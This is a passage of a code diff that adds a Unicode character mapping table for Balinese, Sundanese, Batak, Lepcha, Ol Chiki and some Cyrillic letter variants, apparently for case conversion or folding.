+ [0x1ac9, 0x1ac9],
+ [0x1aca, 0x1aca],
+ [0x1acb, 0x1acb],
+ [0x1acc, 0x1acc],
+ [0x1acd, 0x1acd],
+ [0x1ace, 0x1ace],
+ [0x1acf, 0x1acf],
+ [0x1ad0, 0x1ad0],
+ [0x1ad1, 0x1ad1],
+ [0x1ad2, 0x1ad2],
+ [0x1ad3, 0x1ad3],
+ [0x1ad4, 0x1ad4],
+ [0x1ad5, 0x1ad5],
+ [0x1ad6, 0x1ad6],
+ [0x1ad7, 0x1ad7],
+ [0x1ad8, 0x1ad8],
+ [0x1ad9, 0x1ad9],
+ [0x1ada, 0x1ada],
+ [0x1adb, 0x1adb],
+ [0x1adc, 0x1adc],
+ [0x1add, 0x1add],
+ [0x1ade, 0x1ade],
+ [0x1adf, 0x1adf],
+ [0x1ae0, 0x1ae0],
+ [0x1ae1, 0x1ae1],
+ [0x1ae2, 0x1ae2],
+ [0x1ae3, 0x1ae3],
+ [0x1ae4, 0x1ae4],
+ [0x1ae5, 0x1ae5],
+ [0x1ae6, 0x1ae6],
+ [0x1ae7, 0x1ae7],
+ [0x1ae8, 0x1ae8],
+ [0x1ae9, 0x1ae9],
+ [0x1aea, 0x1aea],
+ [0x1aeb, 0x1aeb],
+ [0x1aec, 0x1aec],
+ [0x1aed, 0x1aed],
+ [0x1aee, 0x1aee],
+ [0x1aef, 0x1aef],
+ [0x1af0, 0x1af0],
+ [0x1af1, 0x1af1],
+ [0x1af2, 0x1af2],
+ [0x1af3, 0x1af3],
+ [0x1af4, 0x1af4],
+ [0x1af5, 0x1af5],
+ [0x1af6, 0x1af6],
+ [0x1af7, 0x1af7],
+ [0x1af8, 0x1af8],
+ [0x1af9, 0x1af9],
+ [0x1afa, 0x1afa],
+ [0x1afb, 0x1afb],
+ [0x1afc, 0x1afc],
+ [0x1afd, 0x1afd],
+ [0x1afe, 0x1afe],
+ [0x1aff, 0x1aff],
+ [0x1b00, 0x1b00], /* BALINESE SIGN ULU RICEM */
+ [0x1b01, 0x1b01], /* BALINESE SIGN ULU CANDRA */
+ [0x1b02, 0x1b02], /* BALINESE SIGN CECEK */
+ [0x1b03, 0x1b03], /* BALINESE SIGN SURANG */
+ [0x1b04, 0x1b04], /* BALINESE SIGN BISAH */
+ [0x1b05, 0x1b05], /* BALINESE LETTER AKARA */
+ [0x1b06, 0x1b06], /* BALINESE LETTER AKARA TEDUNG */
+ [0x1b07, 0x1b07], /* BALINESE LETTER IKARA */
+ [0x1b08, 0x1b08], /* BALINESE LETTER IKARA TEDUNG */
+ [0x1b09, 0x1b09], /* BALINESE LETTER UKARA */
+ [0x1b0a, 0x1b0a], /* BALINESE LETTER UKARA TEDUNG */
+ [0x1b0b, 0x1b0b], /* BALINESE LETTER RA REPA */
+ [0x1b0c, 0x1b0c], /* BALINESE LETTER RA REPA TEDUNG */
+ [0x1b0d, 0x1b0d], /* BALINESE LETTER LA LENGA */
+ [0x1b0e, 0x1b0e], /* BALINESE LETTER LA LENGA TEDUNG */
+ [0x1b0f, 0x1b0f], /* BALINESE LETTER EKARA */
+ [0x1b10, 0x1b10], /* BALINESE LETTER AIKARA */
+ [0x1b11, 0x1b11], /* BALINESE LETTER OKARA */
+ [0x1b12, 0x1b12], /* BALINESE LETTER OKARA TEDUNG */
+ [0x1b13, 0x1b13], /* BALINESE LETTER KA */
+ [0x1b14, 0x1b14], /* BALINESE LETTER KA MAHAPRANA */
+ [0x1b15, 0x1b15], /* BALINESE LETTER GA */
+ [0x1b16, 0x1b16], /* BALINESE LETTER GA GORA */
+ [0x1b17, 0x1b17], /* BALINESE LETTER NGA */
+ [0x1b18, 0x1b18], /* BALINESE LETTER CA */
+ [0x1b19, 0x1b19], /* BALINESE LETTER CA LACA */
+ [0x1b1a, 0x1b1a], /* BALINESE LETTER JA */
+ [0x1b1b, 0x1b1b], /* BALINESE LETTER JA JERA */
+ [0x1b1c, 0x1b1c], /* BALINESE LETTER NYA */
+ [0x1b1d, 0x1b1d], /* BALINESE LETTER TA LATIK */
+ [0x1b1e, 0x1b1e], /* BALINESE LETTER TA MURDA MAHAPRANA */
+ [0x1b1f, 0x1b1f], /* BALINESE LETTER DA MURDA ALPAPRANA */
+ [0x1b20, 0x1b20], /* BALINESE LETTER DA MURDA MAHAPRANA */
+ [0x1b21, 0x1b21], /* BALINESE LETTER NA RAMBAT */
+ [0x1b22, 0x1b22], /* BALINESE LETTER TA */
+ [0x1b23, 0x1b23], /* BALINESE LETTER TA TAWA */
+ [0x1b24, 0x1b24], /* BALINESE LETTER DA */
+ [0x1b25, 0x1b25], /* BALINESE LETTER DA MADU */
+ [0x1b26, 0x1b26], /* BALINESE LETTER NA */
+ [0x1b27, 0x1b27], /* BALINESE LETTER PA */
+ [0x1b28, 0x1b28], /* BALINESE LETTER PA KAPAL */
+ [0x1b29, 0x1b29], /* BALINESE LETTER BA */
+ [0x1b2a, 0x1b2a], /* BALINESE LETTER BA KEMBANG */
+ [0x1b2b, 0x1b2b], /* BALINESE LETTER MA */
+ [0x1b2c, 0x1b2c], /* BALINESE LETTER YA */
+ [0x1b2d, 0x1b2d], /* BALINESE LETTER RA */
+ [0x1b2e, 0x1b2e], /* BALINESE LETTER LA */
+ [0x1b2f, 0x1b2f], /* BALINESE LETTER WA */
+ [0x1b30, 0x1b30], /* BALINESE LETTER SA SAGA */
+ [0x1b31, 0x1b31], /* BALINESE LETTER SA SAPA */
+ [0x1b32, 0x1b32], /* BALINESE LETTER SA */
+ [0x1b33, 0x1b33], /* BALINESE LETTER HA */
+ [0x1b34, 0x1b34], /* BALINESE SIGN REREKAN */
+ [0x1b35, 0x1b35], /* BALINESE VOWEL SIGN TEDUNG */
+ [0x1b36, 0x1b36], /* BALINESE VOWEL SIGN ULU */
+ [0x1b37, 0x1b37], /* BALINESE VOWEL SIGN ULU SARI */
+ [0x1b38, 0x1b38], /* BALINESE VOWEL SIGN SUKU */
+ [0x1b39, 0x1b39], /* BALINESE VOWEL SIGN SUKU ILUT */
+ [0x1b3a, 0x1b3a], /* BALINESE VOWEL SIGN RA REPA */
+ [0x1b3b, 0x1b3b], /* BALINESE VOWEL SIGN RA REPA TEDUNG */
+ [0x1b3c, 0x1b3c], /* BALINESE VOWEL SIGN LA LENGA */
+ [0x1b3d, 0x1b3d], /* BALINESE VOWEL SIGN LA LENGA TEDUNG */
+ [0x1b3e, 0x1b3e], /* BALINESE VOWEL SIGN TALING */
+ [0x1b3f, 0x1b3f], /* BALINESE VOWEL SIGN TALING REPA */
+ [0x1b40, 0x1b40], /* BALINESE VOWEL SIGN TALING TEDUNG */
+ [0x1b41, 0x1b41], /* BALINESE VOWEL SIGN TALING REPA TEDUNG */
+ [0x1b42, 0x1b42], /* BALINESE VOWEL SIGN PEPET */
+ [0x1b43, 0x1b43], /* BALINESE VOWEL SIGN PEPET TEDUNG */
+ [0x1b44, 0x1b44], /* BALINESE ADEG ADEG */
+ [0x1b45, 0x1b45], /* BALINESE LETTER KAF SASAK */
+ [0x1b46, 0x1b46], /* BALINESE LETTER KHOT SASAK */
+ [0x1b47, 0x1b47], /* BALINESE LETTER TZIR SASAK */
+ [0x1b48, 0x1b48], /* BALINESE LETTER EF SASAK */
+ [0x1b49, 0x1b49], /* BALINESE LETTER VE SASAK */
+ [0x1b4a, 0x1b4a], /* BALINESE LETTER ZAL SASAK */
+ [0x1b4b, 0x1b4b], /* BALINESE LETTER ASYURA SASAK */
+ [0x1b4c, 0x1b4c],
+ [0x1b4d, 0x1b4d],
+ [0x1b4e, 0x1b4e],
+ [0x1b4f, 0x1b4f],
+ [0x1b50, 0x1b50], /* BALINESE DIGIT ZERO */
+ [0x1b51, 0x1b51], /* BALINESE DIGIT ONE */
+ [0x1b52, 0x1b52], /* BALINESE DIGIT TWO */
+ [0x1b53, 0x1b53], /* BALINESE DIGIT THREE */
+ [0x1b54, 0x1b54], /* BALINESE DIGIT FOUR */
+ [0x1b55, 0x1b55], /* BALINESE DIGIT FIVE */
+ [0x1b56, 0x1b56], /* BALINESE DIGIT SIX */
+ [0x1b57, 0x1b57], /* BALINESE DIGIT SEVEN */
+ [0x1b58, 0x1b58], /* BALINESE DIGIT EIGHT */
+ [0x1b59, 0x1b59], /* BALINESE DIGIT NINE */
+ [0x1b5a, 0x1b5a], /* BALINESE PANTI */
+ [0x1b5b, 0x1b5b], /* BALINESE PAMADA */
+ [0x1b5c, 0x1b5c], /* BALINESE WINDU */
+ [0x1b5d, 0x1b5d], /* BALINESE CARIK PAMUNGKAH */
+ [0x1b5e, 0x1b5e], /* BALINESE CARIK SIKI */
+ [0x1b5f, 0x1b5f], /* BALINESE CARIK PAREREN */
+ [0x1b60, 0x1b60], /* BALINESE PAMENENG */
+ [0x1b61, 0x1b61], /* BALINESE MUSICAL SYMBOL DONG */
+ [0x1b62, 0x1b62], /* BALINESE MUSICAL SYMBOL DENG */
+ [0x1b63, 0x1b63], /* BALINESE MUSICAL SYMBOL DUNG */
+ [0x1b64, 0x1b64], /* BALINESE MUSICAL SYMBOL DANG */
+ [0x1b65, 0x1b65], /* BALINESE MUSICAL SYMBOL DANG SURANG */
+ [0x1b66, 0x1b66], /* BALINESE MUSICAL SYMBOL DING */
+ [0x1b67, 0x1b67], /* BALINESE MUSICAL SYMBOL DAENG */
+ [0x1b68, 0x1b68], /* BALINESE MUSICAL SYMBOL DEUNG */
+ [0x1b69, 0x1b69], /* BALINESE MUSICAL SYMBOL DAING */
+ [0x1b6a, 0x1b6a], /* BALINESE MUSICAL SYMBOL DANG GEDE */
+ [0x1b6b, 0x1b6b], /* BALINESE MUSICAL SYMBOL COMBINING TEGEH */
+ [0x1b6c, 0x1b6c], /* BALINESE MUSICAL SYMBOL COMBINING ENDEP */
+ [0x1b6d, 0x1b6d], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL */
+ [0x1b6e, 0x1b6e], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI */
+ [0x1b6f, 0x1b6f], /* BALINESE MUSICAL SYMBOL COMBINING JEGOGAN */
+ [0x1b70, 0x1b70], /* BALINESE MUSICAL SYMBOL COMBINING KEMPUL WITH JEGOGAN */
+ [0x1b71, 0x1b71], /* BALINESE MUSICAL SYMBOL COMBINING KEMPLI WITH JEGOGAN */
+ [0x1b72, 0x1b72], /* BALINESE MUSICAL SYMBOL COMBINING BENDE */
+ [0x1b73, 0x1b73], /* BALINESE MUSICAL SYMBOL COMBINING GONG */
+ [0x1b74, 0x1b74], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG */
+ [0x1b75, 0x1b75], /* BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG */
+ [0x1b76, 0x1b76], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK */
+ [0x1b77, 0x1b77], /* BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK */
+ [0x1b78, 0x1b78], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG */
+ [0x1b79, 0x1b79], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG */
+ [0x1b7a, 0x1b7a], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK */
+ [0x1b7b, 0x1b7b], /* BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK */
+ [0x1b7c, 0x1b7c], /* BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING */
+ [0x1b7d, 0x1b7d],
+ [0x1b7e, 0x1b7e],
+ [0x1b7f, 0x1b7f],
+ [0x1b80, 0x1b80], /* SUNDANESE SIGN PANYECEK */
+ [0x1b81, 0x1b81], /* SUNDANESE SIGN PANGLAYAR */
+ [0x1b82, 0x1b82], /* SUNDANESE SIGN PANGWISAD */
+ [0x1b83, 0x1b83], /* SUNDANESE LETTER A */
+ [0x1b84, 0x1b84], /* SUNDANESE LETTER I */
+ [0x1b85, 0x1b85], /* SUNDANESE LETTER U */
+ [0x1b86, 0x1b86], /* SUNDANESE LETTER AE */
+ [0x1b87, 0x1b87], /* SUNDANESE LETTER O */
+ [0x1b88, 0x1b88], /* SUNDANESE LETTER E */
+ [0x1b89, 0x1b89], /* SUNDANESE LETTER EU */
+ [0x1b8a, 0x1b8a], /* SUNDANESE LETTER KA */
+ [0x1b8b, 0x1b8b], /* SUNDANESE LETTER QA */
+ [0x1b8c, 0x1b8c], /* SUNDANESE LETTER GA */
+ [0x1b8d, 0x1b8d], /* SUNDANESE LETTER NGA */
+ [0x1b8e, 0x1b8e], /* SUNDANESE LETTER CA */
+ [0x1b8f, 0x1b8f], /* SUNDANESE LETTER JA */
+ [0x1b90, 0x1b90], /* SUNDANESE LETTER ZA */
+ [0x1b91, 0x1b91], /* SUNDANESE LETTER NYA */
+ [0x1b92, 0x1b92], /* SUNDANESE LETTER TA */
+ [0x1b93, 0x1b93], /* SUNDANESE LETTER DA */
+ [0x1b94, 0x1b94], /* SUNDANESE LETTER NA */
+ [0x1b95, 0x1b95], /* SUNDANESE LETTER PA */
+ [0x1b96, 0x1b96], /* SUNDANESE LETTER FA */
+ [0x1b97, 0x1b97], /* SUNDANESE LETTER VA */
+ [0x1b98, 0x1b98], /* SUNDANESE LETTER BA */
+ [0x1b99, 0x1b99], /* SUNDANESE LETTER MA */
+ [0x1b9a, 0x1b9a], /* SUNDANESE LETTER YA */
+ [0x1b9b, 0x1b9b], /* SUNDANESE LETTER RA */
+ [0x1b9c, 0x1b9c], /* SUNDANESE LETTER LA */
+ [0x1b9d, 0x1b9d], /* SUNDANESE LETTER WA */
+ [0x1b9e, 0x1b9e], /* SUNDANESE LETTER SA */
+ [0x1b9f, 0x1b9f], /* SUNDANESE LETTER XA */
+ [0x1ba0, 0x1ba0], /* SUNDANESE LETTER HA */
+ [0x1ba1, 0x1ba1], /* SUNDANESE CONSONANT SIGN PAMINGKAL */
+ [0x1ba2, 0x1ba2], /* SUNDANESE CONSONANT SIGN PANYAKRA */
+ [0x1ba3, 0x1ba3], /* SUNDANESE CONSONANT SIGN PANYIKU */
+ [0x1ba4, 0x1ba4], /* SUNDANESE VOWEL SIGN PANGHULU */
+ [0x1ba5, 0x1ba5], /* SUNDANESE VOWEL SIGN PANYUKU */
+ [0x1ba6, 0x1ba6], /* SUNDANESE VOWEL SIGN PANAELAENG */
+ [0x1ba7, 0x1ba7], /* SUNDANESE VOWEL SIGN PANOLONG */
+ [0x1ba8, 0x1ba8], /* SUNDANESE VOWEL SIGN PAMEPET */
+ [0x1ba9, 0x1ba9], /* SUNDANESE VOWEL SIGN PANEULEUNG */
+ [0x1baa, 0x1baa], /* SUNDANESE SIGN PAMAAEH */
+ [0x1bab, 0x1bab], /* SUNDANESE SIGN VIRAMA */
+ [0x1bac, 0x1bac], /* SUNDANESE CONSONANT SIGN PASANGAN MA */
+ [0x1bad, 0x1bad], /* SUNDANESE CONSONANT SIGN PASANGAN WA */
+ [0x1bae, 0x1bae], /* SUNDANESE LETTER KHA */
+ [0x1baf, 0x1baf], /* SUNDANESE LETTER SYA */
+ [0x1bb0, 0x1bb0], /* SUNDANESE DIGIT ZERO */
+ [0x1bb1, 0x1bb1], /* SUNDANESE DIGIT ONE */
+ [0x1bb2, 0x1bb2], /* SUNDANESE DIGIT TWO */
+ [0x1bb3, 0x1bb3], /* SUNDANESE DIGIT THREE */
+ [0x1bb4, 0x1bb4], /* SUNDANESE DIGIT FOUR */
+ [0x1bb5, 0x1bb5], /* SUNDANESE DIGIT FIVE */
+ [0x1bb6, 0x1bb6], /* SUNDANESE DIGIT SIX */
+ [0x1bb7, 0x1bb7], /* SUNDANESE DIGIT SEVEN */
+ [0x1bb8, 0x1bb8], /* SUNDANESE DIGIT EIGHT */
+ [0x1bb9, 0x1bb9], /* SUNDANESE DIGIT NINE */
+ [0x1bba, 0x1bba], /* SUNDANESE AVAGRAHA */
+ [0x1bbb, 0x1bbb], /* SUNDANESE LETTER REU */
+ [0x1bbc, 0x1bbc], /* SUNDANESE LETTER LEU */
+ [0x1bbd, 0x1bbd], /* SUNDANESE LETTER BHA */
+ [0x1bbe, 0x1bbe], /* SUNDANESE LETTER FINAL K */
+ [0x1bbf, 0x1bbf], /* SUNDANESE LETTER FINAL M */
+ [0x1bc0, 0x1bc0], /* BATAK LETTER A */
+ [0x1bc1, 0x1bc1], /* BATAK LETTER SIMALUNGUN A */
+ [0x1bc2, 0x1bc2], /* BATAK LETTER HA */
+ [0x1bc3, 0x1bc3], /* BATAK LETTER SIMALUNGUN HA */
+ [0x1bc4, 0x1bc4], /* BATAK LETTER MANDAILING HA */
+ [0x1bc5, 0x1bc5], /* BATAK LETTER BA */
+ [0x1bc6, 0x1bc6], /* BATAK LETTER KARO BA */
+ [0x1bc7, 0x1bc7], /* BATAK LETTER PA */
+ [0x1bc8, 0x1bc8], /* BATAK LETTER SIMALUNGUN PA */
+ [0x1bc9, 0x1bc9], /* BATAK LETTER NA */
+ [0x1bca, 0x1bca], /* BATAK LETTER MANDAILING NA */
+ [0x1bcb, 0x1bcb], /* BATAK LETTER WA */
+ [0x1bcc, 0x1bcc], /* BATAK LETTER SIMALUNGUN WA */
+ [0x1bcd, 0x1bcd], /* BATAK LETTER PAKPAK WA */
+ [0x1bce, 0x1bce], /* BATAK LETTER GA */
+ [0x1bcf, 0x1bcf], /* BATAK LETTER SIMALUNGUN GA */
+ [0x1bd0, 0x1bd0], /* BATAK LETTER JA */
+ [0x1bd1, 0x1bd1], /* BATAK LETTER DA */
+ [0x1bd2, 0x1bd2], /* BATAK LETTER RA */
+ [0x1bd3, 0x1bd3], /* BATAK LETTER SIMALUNGUN RA */
+ [0x1bd4, 0x1bd4], /* BATAK LETTER MA */
+ [0x1bd5, 0x1bd5], /* BATAK LETTER SIMALUNGUN MA */
+ [0x1bd6, 0x1bd6], /* BATAK LETTER SOUTHERN TA */
+ [0x1bd7, 0x1bd7], /* BATAK LETTER NORTHERN TA */
+ [0x1bd8, 0x1bd8], /* BATAK LETTER SA */
+ [0x1bd9, 0x1bd9], /* BATAK LETTER SIMALUNGUN SA */
+ [0x1bda, 0x1bda], /* BATAK LETTER MANDAILING SA */
+ [0x1bdb, 0x1bdb], /* BATAK LETTER YA */
+ [0x1bdc, 0x1bdc], /* BATAK LETTER SIMALUNGUN YA */
+ [0x1bdd, 0x1bdd], /* BATAK LETTER NGA */
+ [0x1bde, 0x1bde], /* BATAK LETTER LA */
+ [0x1bdf, 0x1bdf], /* BATAK LETTER SIMALUNGUN LA */
+ [0x1be0, 0x1be0], /* BATAK LETTER NYA */
+ [0x1be1, 0x1be1], /* BATAK LETTER CA */
+ [0x1be2, 0x1be2], /* BATAK LETTER NDA */
+ [0x1be3, 0x1be3], /* BATAK LETTER MBA */
+ [0x1be4, 0x1be4], /* BATAK LETTER I */
+ [0x1be5, 0x1be5], /* BATAK LETTER U */
+ [0x1be6, 0x1be6], /* BATAK SIGN TOMPI */
+ [0x1be7, 0x1be7], /* BATAK VOWEL SIGN E */
+ [0x1be8, 0x1be8], /* BATAK VOWEL SIGN PAKPAK E */
+ [0x1be9, 0x1be9], /* BATAK VOWEL SIGN EE */
+ [0x1bea, 0x1bea], /* BATAK VOWEL SIGN I */
+ [0x1beb, 0x1beb], /* BATAK VOWEL SIGN KARO I */
+ [0x1bec, 0x1bec], /* BATAK VOWEL SIGN O */
+ [0x1bed, 0x1bed], /* BATAK VOWEL SIGN KARO O */
+ [0x1bee, 0x1bee], /* BATAK VOWEL SIGN U */
+ [0x1bef, 0x1bef], /* BATAK VOWEL SIGN U FOR SIMALUNGUN SA */
+ [0x1bf0, 0x1bf0], /* BATAK CONSONANT SIGN NG */
+ [0x1bf1, 0x1bf1], /* BATAK CONSONANT SIGN H */
+ [0x1bf2, 0x1bf2], /* BATAK PANGOLAT */
+ [0x1bf3, 0x1bf3], /* BATAK PANONGONAN */
+ [0x1bf4, 0x1bf4],
+ [0x1bf5, 0x1bf5],
+ [0x1bf6, 0x1bf6],
+ [0x1bf7, 0x1bf7],
+ [0x1bf8, 0x1bf8],
+ [0x1bf9, 0x1bf9],
+ [0x1bfa, 0x1bfa],
+ [0x1bfb, 0x1bfb],
+ [0x1bfc, 0x1bfc], /* BATAK SYMBOL BINDU NA METEK */
+ [0x1bfd, 0x1bfd], /* BATAK SYMBOL BINDU PINARBORAS */
+ [0x1bfe, 0x1bfe], /* BATAK SYMBOL BINDU JUDUL */
+ [0x1bff, 0x1bff], /* BATAK SYMBOL BINDU PANGOLAT */
+ [0x1c00, 0x1c00], /* LEPCHA LETTER KA */
+ [0x1c01, 0x1c01], /* LEPCHA LETTER KLA */
+ [0x1c02, 0x1c02], /* LEPCHA LETTER KHA */
+ [0x1c03, 0x1c03], /* LEPCHA LETTER GA */
+ [0x1c04, 0x1c04], /* LEPCHA LETTER GLA */
+ [0x1c05, 0x1c05], /* LEPCHA LETTER NGA */
+ [0x1c06, 0x1c06], /* LEPCHA LETTER CA */
+ [0x1c07, 0x1c07], /* LEPCHA LETTER CHA */
+ [0x1c08, 0x1c08], /* LEPCHA LETTER JA */
+ [0x1c09, 0x1c09], /* LEPCHA LETTER NYA */
+ [0x1c0a, 0x1c0a], /* LEPCHA LETTER TA */
+ [0x1c0b, 0x1c0b], /* LEPCHA LETTER THA */
+ [0x1c0c, 0x1c0c], /* LEPCHA LETTER DA */
+ [0x1c0d, 0x1c0d], /* LEPCHA LETTER NA */
+ [0x1c0e, 0x1c0e], /* LEPCHA LETTER PA */
+ [0x1c0f, 0x1c0f], /* LEPCHA LETTER PLA */
+ [0x1c10, 0x1c10], /* LEPCHA LETTER PHA */
+ [0x1c11, 0x1c11], /* LEPCHA LETTER FA */
+ [0x1c12, 0x1c12], /* LEPCHA LETTER FLA */
+ [0x1c13, 0x1c13], /* LEPCHA LETTER BA */
+ [0x1c14, 0x1c14], /* LEPCHA LETTER BLA */
+ [0x1c15, 0x1c15], /* LEPCHA LETTER MA */
+ [0x1c16, 0x1c16], /* LEPCHA LETTER MLA */
+ [0x1c17, 0x1c17], /* LEPCHA LETTER TSA */
+ [0x1c18, 0x1c18], /* LEPCHA LETTER TSHA */
+ [0x1c19, 0x1c19], /* LEPCHA LETTER DZA */
+ [0x1c1a, 0x1c1a], /* LEPCHA LETTER YA */
+ [0x1c1b, 0x1c1b], /* LEPCHA LETTER RA */
+ [0x1c1c, 0x1c1c], /* LEPCHA LETTER LA */
+ [0x1c1d, 0x1c1d], /* LEPCHA LETTER HA */
+ [0x1c1e, 0x1c1e], /* LEPCHA LETTER HLA */
+ [0x1c1f, 0x1c1f], /* LEPCHA LETTER VA */
+ [0x1c20, 0x1c20], /* LEPCHA LETTER SA */
+ [0x1c21, 0x1c21], /* LEPCHA LETTER SHA */
+ [0x1c22, 0x1c22], /* LEPCHA LETTER WA */
+ [0x1c23, 0x1c23], /* LEPCHA LETTER A */
+ [0x1c24, 0x1c24], /* LEPCHA SUBJOINED LETTER YA */
+ [0x1c25, 0x1c25], /* LEPCHA SUBJOINED LETTER RA */
+ [0x1c26, 0x1c26], /* LEPCHA VOWEL SIGN AA */
+ [0x1c27, 0x1c27], /* LEPCHA VOWEL SIGN I */
+ [0x1c28, 0x1c28], /* LEPCHA VOWEL SIGN O */
+ [0x1c29, 0x1c29], /* LEPCHA VOWEL SIGN OO */
+ [0x1c2a, 0x1c2a], /* LEPCHA VOWEL SIGN U */
+ [0x1c2b, 0x1c2b], /* LEPCHA VOWEL SIGN UU */
+ [0x1c2c, 0x1c2c], /* LEPCHA VOWEL SIGN E */
+ [0x1c2d, 0x1c2d], /* LEPCHA CONSONANT SIGN K */
+ [0x1c2e, 0x1c2e], /* LEPCHA CONSONANT SIGN M */
+ [0x1c2f, 0x1c2f], /* LEPCHA CONSONANT SIGN L */
+ [0x1c30, 0x1c30], /* LEPCHA CONSONANT SIGN N */
+ [0x1c31, 0x1c31], /* LEPCHA CONSONANT SIGN P */
+ [0x1c32, 0x1c32], /* LEPCHA CONSONANT SIGN R */
+ [0x1c33, 0x1c33], /* LEPCHA CONSONANT SIGN T */
+ [0x1c34, 0x1c34], /* LEPCHA CONSONANT SIGN NYIN-DO */
+ [0x1c35, 0x1c35], /* LEPCHA CONSONANT SIGN KANG */
+ [0x1c36, 0x1c36], /* LEPCHA SIGN RAN */
+ [0x1c37, 0x1c37], /* LEPCHA SIGN NUKTA */
+ [0x1c38, 0x1c38],
+ [0x1c39, 0x1c39],
+ [0x1c3a, 0x1c3a],
+ [0x1c3b, 0x1c3b], /* LEPCHA PUNCTUATION TA-ROL */
+ [0x1c3c, 0x1c3c], /* LEPCHA PUNCTUATION NYET THYOOM TA-ROL */
+ [0x1c3d, 0x1c3d], /* LEPCHA PUNCTUATION CER-WA */
+ [0x1c3e, 0x1c3e], /* LEPCHA PUNCTUATION TSHOOK CER-WA */
+ [0x1c3f, 0x1c3f], /* LEPCHA PUNCTUATION TSHOOK */
+ [0x1c40, 0x1c40], /* LEPCHA DIGIT ZERO */
+ [0x1c41, 0x1c41], /* LEPCHA DIGIT ONE */
+ [0x1c42, 0x1c42], /* LEPCHA DIGIT TWO */
+ [0x1c43, 0x1c43], /* LEPCHA DIGIT THREE */
+ [0x1c44, 0x1c44], /* LEPCHA DIGIT FOUR */
+ [0x1c45, 0x1c45], /* LEPCHA DIGIT FIVE */
+ [0x1c46, 0x1c46], /* LEPCHA DIGIT SIX */
+ [0x1c47, 0x1c47], /* LEPCHA DIGIT SEVEN */
+ [0x1c48, 0x1c48], /* LEPCHA DIGIT EIGHT */
+ [0x1c49, 0x1c49], /* LEPCHA DIGIT NINE */
+ [0x1c4a, 0x1c4a],
+ [0x1c4b, 0x1c4b],
+ [0x1c4c, 0x1c4c],
+ [0x1c4d, 0x1c4d], /* LEPCHA LETTER TTA */
+ [0x1c4e, 0x1c4e], /* LEPCHA LETTER TTHA */
+ [0x1c4f, 0x1c4f], /* LEPCHA LETTER DDA */
+ [0x1c50, 0x1c50], /* OL CHIKI DIGIT ZERO */
+ [0x1c51, 0x1c51], /* OL CHIKI DIGIT ONE */
+ [0x1c52, 0x1c52], /* OL CHIKI DIGIT TWO */
+ [0x1c53, 0x1c53], /* OL CHIKI DIGIT THREE */
+ [0x1c54, 0x1c54], /* OL CHIKI DIGIT FOUR */
+ [0x1c55, 0x1c55], /* OL CHIKI DIGIT FIVE */
+ [0x1c56, 0x1c56], /* OL CHIKI DIGIT SIX */
+ [0x1c57, 0x1c57], /* OL CHIKI DIGIT SEVEN */
+ [0x1c58, 0x1c58], /* OL CHIKI DIGIT EIGHT */
+ [0x1c59, 0x1c59], /* OL CHIKI DIGIT NINE */
+ [0x1c5a, 0x1c5a], /* OL CHIKI LETTER LA */
+ [0x1c5b, 0x1c5b], /* OL CHIKI LETTER AT */
+ [0x1c5c, 0x1c5c], /* OL CHIKI LETTER AG */
+ [0x1c5d, 0x1c5d], /* OL CHIKI LETTER ANG */
+ [0x1c5e, 0x1c5e], /* OL CHIKI LETTER AL */
+ [0x1c5f, 0x1c5f], /* OL CHIKI LETTER LAA */
+ [0x1c60, 0x1c60], /* OL CHIKI LETTER AAK */
+ [0x1c61, 0x1c61], /* OL CHIKI LETTER AAJ */
+ [0x1c62, 0x1c62], /* OL CHIKI LETTER AAM */
+ [0x1c63, 0x1c63], /* OL CHIKI LETTER AAW */
+ [0x1c64, 0x1c64], /* OL CHIKI LETTER LI */
+ [0x1c65, 0x1c65], /* OL CHIKI LETTER IS */
+ [0x1c66, 0x1c66], /* OL CHIKI LETTER IH */
+ [0x1c67, 0x1c67], /* OL CHIKI LETTER INY */
+ [0x1c68, 0x1c68], /* OL CHIKI LETTER IR */
+ [0x1c69, 0x1c69], /* OL CHIKI LETTER LU */
+ [0x1c6a, 0x1c6a], /* OL CHIKI LETTER UC */
+ [0x1c6b, 0x1c6b], /* OL CHIKI LETTER UD */
+ [0x1c6c, 0x1c6c], /* OL CHIKI LETTER UNN */
+ [0x1c6d, 0x1c6d], /* OL CHIKI LETTER UY */
+ [0x1c6e, 0x1c6e], /* OL CHIKI LETTER LE */
+ [0x1c6f, 0x1c6f], /* OL CHIKI LETTER EP */
+ [0x1c70, 0x1c70], /* OL CHIKI LETTER EDD */
+ [0x1c71, 0x1c71], /* OL CHIKI LETTER EN */
+ [0x1c72, 0x1c72], /* OL CHIKI LETTER ERR */
+ [0x1c73, 0x1c73], /* OL CHIKI LETTER LO */
+ [0x1c74, 0x1c74], /* OL CHIKI LETTER OTT */
+ [0x1c75, 0x1c75], /* OL CHIKI LETTER OB */
+ [0x1c76, 0x1c76], /* OL CHIKI LETTER OV */
+ [0x1c77, 0x1c77], /* OL CHIKI LETTER OH */
+ [0x1c78, 0x1c78], /* OL CHIKI MU TTUDDAG */
+ [0x1c79, 0x1c79], /* OL CHIKI GAAHLAA TTUDDAAG */
+ [0x1c7a, 0x1c7a], /* OL CHIKI MU-GAAHLAA TTUDDAAG */
+ [0x1c7b, 0x1c7b], /* OL CHIKI RELAA */
+ [0x1c7c, 0x1c7c], /* OL CHIKI PHAARKAA */
+ [0x1c7d, 0x1c7d], /* OL CHIKI AHAD */
+ [0x1c7e, 0x1c7e], /* OL CHIKI PUNCTUATION MUCAAD */
+ [0x1c7f, 0x1c7f], /* OL CHIKI PUNCTUATION DOUBLE MUCAAD */
+ [0x412, 0x1c80], /* CYRILLIC SMALL LETTER ROUNDED VE */
+ [0x414, 0x1c81], /* CYRILLIC SMALL LETTER LONG-LEGGED DE */
+ [0x41e, 0x1c82], /* CYRILLIC SMALL LETTER NARROW O */
+ [0x421, 0x1c83], /* CYRILLIC SMALL LETTER WIDE ES */
+ [0x422, 0x1c84], /* CYRILLIC SMALL LETTER TALL TE */
